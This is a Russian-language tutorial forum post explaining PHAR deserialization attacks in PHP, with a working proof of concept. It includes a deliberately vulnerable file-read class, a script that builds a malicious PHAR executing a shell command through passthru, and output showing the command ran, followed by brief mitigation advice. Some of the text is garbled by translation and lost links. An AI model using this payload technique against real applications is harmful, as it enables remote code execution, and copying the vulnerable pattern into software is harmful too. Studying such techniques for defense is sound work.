Гостевая статья Как использовать уязвимость десериализации PHAR

Уязвимости десериализации уже более десяти лет являются предметом интереса для исследовательского сообщества. Каждый год появляются новые цепочки атак, использующие эти уязвимости в таких языках программирования, как Java, C# (через .NET Framework).

На Blackhat US-18 Сэм Томас представил .
Этот новый тип атаки использует тот факт, что использование потоковой обертки phar:// для выполнения операций чтения/записи над файлами PHAR определяет их метаданные для автоматической десериализации.

Отсюда он открывает ворота для POP-атак (Property Oriented Programming), где злоумышленник изменяет свойства объектов, чтобы перехватить логический поток приложения, что в конечном итоге приводит к выполнению кода на хост-сервере.

I. Основные понятия для понимания десериализации PHAR
phar://Stream Wrapper
В PHP все файловые операции обрабатываются с использованием потоков.

является объектом ресурса , который демонстрирует потоковое поведение. То есть он может быть прочитан или записан линейным способом.

Разработчики PHP используют оболочки, когда их приложение запрашивает определенные ресурсы, такие как изображение или документ.

Примеры потоковых упаковщиков: http://, ftp://, file://, php://, phar://.

Чтобы лучше понять обертки потока, рассмотрите эти строки:

file_get_contents(" ")
file_get_contents("file://../images/image.jpeg")
file_get_contents("phar://./archives/app.phar")

Используя обертки, вы можете вызывать ту же функцию (file_get_contents) для извлечения изображения из удаленного местоположения или из папки, хранящейся на локальном диске.

В частности, оболочка phar:// используется для взаимодействия с файлами PHAR. Он позволяет выполнять различные операции чтения/записи в архиве и может работать только с локальными файлами.

Если вы хотите копать глубже, вот .

ФАР архивы
Подобно Java Archive файлов (JAR), в PHP можно разделить библиотеку или все приложение в виде одного файла с использованием ФАР .

Действительный PHAR включает в себя четыре элемента :
  • Stub
  • Manifest
  • File Contents
  • Signature

PHP предоставляет для создания этих архивов.

Вот как вы можете создать определенный элемент архива, используя метод класса. (Обязательно следите за кодом Proof-of-Concept, который создает абсолютно корректные файлы PHAR!)

II. Элементы архива PHAR
1. Заглушка является первой частью архива. Это простая программа PHP, и она может содержать любой код, который вы хотите. Единственное требование состоит в том, чтобы последняя команда, введенная в заглушку, была __HALT_COMPILER () :

<?php echo ‘STUB!’; __HALT_COMPILER(); ?>

Метод установки заглушки:

PHAR: : setStub (string $stub)

2. Манифест - это место, где находятся метаданные. Он включает в себя информацию об архиве и каждом файле в нем. Что еще более важно, метаданные хранятся в .

serialized-PHAR-format.png



Помните, что ключевым фактором в этой атаке является то, что всякий раз, когда файловая операция происходит на PHAR с использованием оболочки phar : // , эти метаданные автоматически десериализуются.

Например, десериализовать метаданные архива app.phar .file_get_contents ('phar://./archives/app.phar')

Чтобы добавить метаданные в архив, используйте:

PHAR: : setMetadata (mixed $metadata)

3. Содержимое файла - это фактические файлы, включенные в архив, и они могут быть любого типа. Чтобы добавить файлы в архив, используйте:

//adds the file specified by $path to the archive as $name
PHAR: : addFile (string $path, $name)
//adds $contents to the archive as $name
PHAR: : addFromString (string $name, string $contents)

4. Подпись является хэшем содержимого архива. У вас должна быть действительная подпись, если вы хотите получить доступ к архиву из PHP. Подпись автоматически добавляется при программном создании PHAR.

III. Как работают POP-атаки
Если архив PHAR находится под контролем злоумышленника, это является основой для POP-атаки.

Давайте посмотрим на основы этой техники атаки. (Для подробного ознакомления посмотрите )

Злоумышленник может добавить объект из любого класса в метаданные PHAR с любыми значениями, установленными для его свойств. Когда файловая операция запускается внутри целевого приложения, происходит десериализация PHAR.

Если объект, определенный в метаданных, принадлежит классу, определенному в области действия текущей программы, этот объект будет загружен в контексте этой программы.

В PHP есть класс методов, называемых магическими методами , которые автоматически вызываются при возникновении определенного события. В данном примере, только два магические метода представляют интерес: когда объект должен быть сериализирован или уничтожен и которые называются. __wakeup() __destruct()

Давайте сосредоточимся на методе, так как он более вероятно будет определен в некотором классе целевого приложения. __destruct()

Таким образом, к настоящему моменту у вас есть объект, которым вы управляете, загруженный в области приложения, и известный вам метод будет вызываться - либо когда объект больше не находится в области действия, либо когда сценарий завершается.

Есть случаи, когда программная логика деструктора основана на значениях некоторых свойств объекта. Учитывая, что вы управляете этими свойствами, вы можете захватить поток логики .

Вот пример потока, который поможет вам увидеть, как выглядит атака:

visualization-of-a-property-oriented-programming-POP-attack.png


Подтверждение концепции использования уязвимости десериализации PHAR

Давайте посмотрим на базовый пример кода, который иллюстрирует поведение, описанное до сих пор.

Нашим фиктивным приложением будет веб-редактор текста.

Любой пользователь может добавить несколько документов, и у него есть хранилище мультимедиа, куда они добавляют мультимедиа, которое они могут позже встраивать в любой документ. Документы можно экспортировать в формате PDF.

Предположим, что класс, который генерирует PDF-файлы, вызывается и имеет следующий деструктор:pDFGenerator.php

PHP:
<?php
             class PDFGenerator {
                 //   a generic PDF Generator
                       public $fileName;
                       public $callback;
                   // callback is a function that triggers an action when a PDF is generated
                  // e.g: send an email, log the PDF file name to history, sync with Dropbox
                      function __destruct() {
                               call_user_func($this->callback, $this->fileName);
                       }
             }
?>

Этот класс позже включается в основной файл. Editor.php

PHP:
<?php
        include 'PDFGenerator.php';
        class Editor {
        public function __construct(){
                global $argv;
                $this->image = @file_get_contents ($argv[1]);
                 // $argv[1] - is there so you can run all this code locally                                     // Think of it as the file name of the image you want to add to the document   
                if ($this->image) {
                        echo "File found! \n";
                }
                else {
                        echo "File not found! \n";
                }
             }                                                                                        }
        $obj = new Editor();
?>

Запустив тест с файлом, который не существует, обратите внимание, что мы ожидаем, что поведение будет таким:

test-result-phar-exploit.png



Теперь давайте создадим архив PHAR, используя методы, которые мы использовали. Его метаданные будут объектом класса PDFGenerator .

Создайте новый файл с именем phar_gen.phpс помощью следующего кода:

PHP:
<?php
         class PDFGenerator { }
        //Create a new instance of the Dummy class and modify its property
        $dummy = new PDFGenerator();
        $dummy->callback = "passthru";
        $dummy->fileName = "uname -a > pwned"; //our payload
        // Delete any existing PHAR archive with that name
        @unlink("poc.phar");
        // Create a new archive
        $poc = new Phar("poc.phar");
        // Add all write operations to a buffer, without modifying the archive on disk
        $poc->startBuffering();
        // Set the stub
        $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
        /* Add a new file in the archive with "text" as its content*/
        $poc["file"] = "text";
        // Add the dummy object to the metadata. This will be serialized
        $poc->setMetadata($dummy);
        // Stop buffering and write changes to disk
        $poc->stopBuffering();
?>

Теперь, чтобы получить PHAR, запустите:

$ php phar_gen.php

Будет создан следующий файл, содержащий сериализованные метаданные:poc.phar

strings.png


Запуск Editor.php снова против вновь созданного файла, вы увидите метаданные сериализации и полезная нагрузка запускается на выполнение: poc.phar

payload-executed-phar-exploit.png


$ php Editor.php phar://poc.phar
$ cat pwned
Linux Kali1 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-2kali1 (2019-05-15) x86_64 GNU/Linux

Представьте, что это загружается через веб-интерфейс, где имя файла, которое выбрал пользователь, именно то, что будет передано в файловую операцию. Используя этот путь атаки, у злоумышленника теперь есть потенциальный способ добиться выполнения кода на сервере.

Возможно, вы думаете, что вы защищены, поскольку злоумышленник не может узнать имя или реализацию ваших классов.
Вы частично правы.
Имейте в виду, что приложение может использовать сторонние библиотеки с открытым исходным кодом или фреймворки.

Более того, с появлением автозагрузчиков в PHP поверхность атаки увеличилась. Автозагрузчики предоставляют всем доступ к большому количеству классов, увеличивая вероятность нахождения пригодной для использования реализации магического метода.

PHPGGC проекта предусматривает перечень таких эксплуатируемых классов. Некоторые из наиболее известных примеров включают Zend, Guzzle, Symfony и Laravel.

Ключевое смягчение, чтобы избежать уязвимости десериализации PHAR

Несмотря на то, что эта атака знакома сообществу безопасности, она все еще находится в центре внимания большинства веб-разработчиков и, таким образом, представляет собой риск.

Первое и самое важное, что нужно предпринять разработчикам контрмер, это тщательно санировать вводимые пользователем данные . В этом случае тщательно проверьте, какие типы файлов могут быть загружены пользователями, а также примените некоторую рандомизацию к именам файлов при сохранении на стороне сервера.

Десериализация PHAR предоставляет злоумышленникам новую технику для использования веб-приложений. Бизнес-риск высок, потому что успешная эксплуатация может привести к выполнению кода на сервере. Как только злоумышленник закрепится на вашем сервере, его воображение является единственным ограничением.

Используя эту технику атаки, исследователи обнаружили уязвимости удаленного выполнения кода в:

  1. .
С этим практическим обзором того, как работает атака на уязвимость десериализации PHAR, вы теперь можете создать PoC и обеспечить своим веб-приложениям дополнительный уровень безопасности.

Источник:
 
  • Нравится
Реакции: shieldmmo и noted
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!